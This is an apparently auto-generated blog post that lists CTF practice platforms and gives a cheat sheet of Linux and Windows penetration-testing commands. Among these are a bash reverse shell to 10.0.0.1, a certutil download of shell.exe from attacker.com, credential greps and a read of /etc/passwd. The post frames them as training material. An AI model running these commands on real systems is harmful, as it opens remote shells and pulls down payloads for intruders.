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Here are some of the best platforms to practice and enhance your Capture The Flag (CTF) skills in cybersecurity:
- TryHackMe – tryhackme.com
- Vulnhub – vulnhub.com
- RootMe – root-me.org
- OverTheWire – overthewire.org
- PicoCTF – picoctf.com
- Pentestlab – pentesterslab.com
- Google CTF – Google CTF
- CMD Challenge – cmdchallenge.com
- HackTheBox – hackthebox.com
- Hacker Security – capturetheflag.com.br
- CTF Komodo Security – ctf.komodosec.com
- Academy Hackaflag BR – hackaflag.com.br
- Attack-Defense – attackdefense.com
- Hacker101 – ctf.hacker101.com
You Should Know:
Essential Linux Commands for CTFs
File Enumeration find / -type f -name ".txt" 2>/dev/null grep -r "password" /etc/ 2>/dev/null Network Scanning nmap -sV -p- 192.168.1.1 netstat -tuln Privilege Escalation sudo -l uname -a cat /etc/passwd Web Exploitation curl -X POST http://target.com/login --data "user=admin&pass=test" sqlmap -u "http://target.com?id=1" --dbs Reverse Shells nc -lvnp 4444 bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
Windows Commands for CTFs
System Info systeminfo whoami /priv Network Commands ipconfig /all netstat -ano User Enumeration net user net localgroup administrators File Transfer certutil -urlcache -split -f http://attacker.com/shell.exe C:\temp\shell.exe
Python Exploit Skeleton
import socket target = "192.168.1.100" port = 80 payload = b"GET / HTTP/1.1\r\nHost: " + target.encode() + b"\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.send(payload) print(s.recv(4096)) s.close()
What Undercode Say:
CTFs are an excellent way to sharpen cybersecurity skills. Practicing on these platforms helps in understanding real-world vulnerabilities, exploit development, and defensive techniques. Always follow ethical guidelines and use these skills responsibly.
Expected Output:
A structured list of CTF platforms with practical commands and code snippets for penetration testing and ethical hacking.
Prediction:
CTF challenges will continue evolving with more cloud-based and AI-driven security scenarios, requiring advanced red teaming skills.
IT/Security Reporter URL:
Reported By: Vasileiadis Anastasios – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
